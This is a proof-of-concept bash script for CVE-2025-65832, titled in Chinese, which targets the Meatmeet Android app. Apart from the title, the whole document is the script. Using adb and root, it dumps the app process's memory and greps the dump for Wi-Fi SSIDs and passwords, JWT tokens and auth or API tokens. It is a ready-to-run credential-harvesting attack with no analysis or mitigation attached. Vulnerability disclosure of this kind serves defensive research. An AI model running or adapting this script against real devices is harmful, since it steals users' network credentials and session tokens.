CVE-2025-65832: Meatmeet移动应用内存中敏感信息未安全存储漏洞

#!/bin/bash # CVE-2025-65832 PoC - Memory Dump Attack on Meatmeet Application # This PoC demonstrates the vulnerability of sensitive data stored in memory TARGET_APP="com.meatmeet.app" OUTPUT_FILE="memory_dump_${TARGET_APP}_$(date +%Y%m%d_%H%M%S).bin" echo "=== CVE-2025-65832 Memory Dump PoC ===" echo "Target Application: $TARGET_APP" echo "" # Step 1: List running processes to find the target app PID PID=$(adb shell "ps -A | grep $TARGET_APP | awk '{print \$2}' | head -1") if [ -z "$PID" ]; then echo "[ERROR] Target application not running. Please start the app and login first." echo "[INFO] Then logout and keep the app in background before running this PoC." exit 1 fi echo "[STEP 1] Found target app with PID: $PID" # Step 2: Dump memory using procrank or memdump tool # Note: Requires root access or debugging enabled adb shell "su -c 'cat /proc/$PID/maps'" > "${OUTPUT_FILE}.maps" echo "[STEP 2] Memory maps saved to ${OUTPUT_FILE}.maps" # Step 3: Extract sensitive strings from memory dump echo "[STEP 3] Extracting sensitive strings..." adb shell "su -c 'dd if=/proc/$PID/mem of=/sdcard/${OUTPUT_FILE}'" 2>/dev/null adb pull "/sdcard/${OUTPUT_FILE}" "./${OUTPUT_FILE}" 2>/dev/null # Step 4: Search for sensitive patterns if [ -f "$OUTPUT_FILE" ]; then echo "" echo "[STEP 4] Searching for sensitive information..." echo "" echo "--- Wi-Fi Credentials (SSID/Password) ---" strings "$OUTPUT_FILE" | grep -E "(SSID|WIFI|wifi_|password|PASSWORD)" | head -20 echo "" echo "--- JWT Tokens ---" strings "$OUTPUT_FILE" | grep -E "eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+" | head -10 echo "" echo "--- API Keys / Tokens ---" strings "$OUTPUT_FILE" | grep -E "(token|Token|TOKEN|auth|Auth|AUTH)" | head -20 echo "" echo "[SUCCESS] Memory dump complete. Output saved to: $OUTPUT_FILE" else echo "[ERROR] Failed to dump memory. Device may not be rooted or debugging not enabled." fi echo "" echo "=== PoC Execution Complete ==="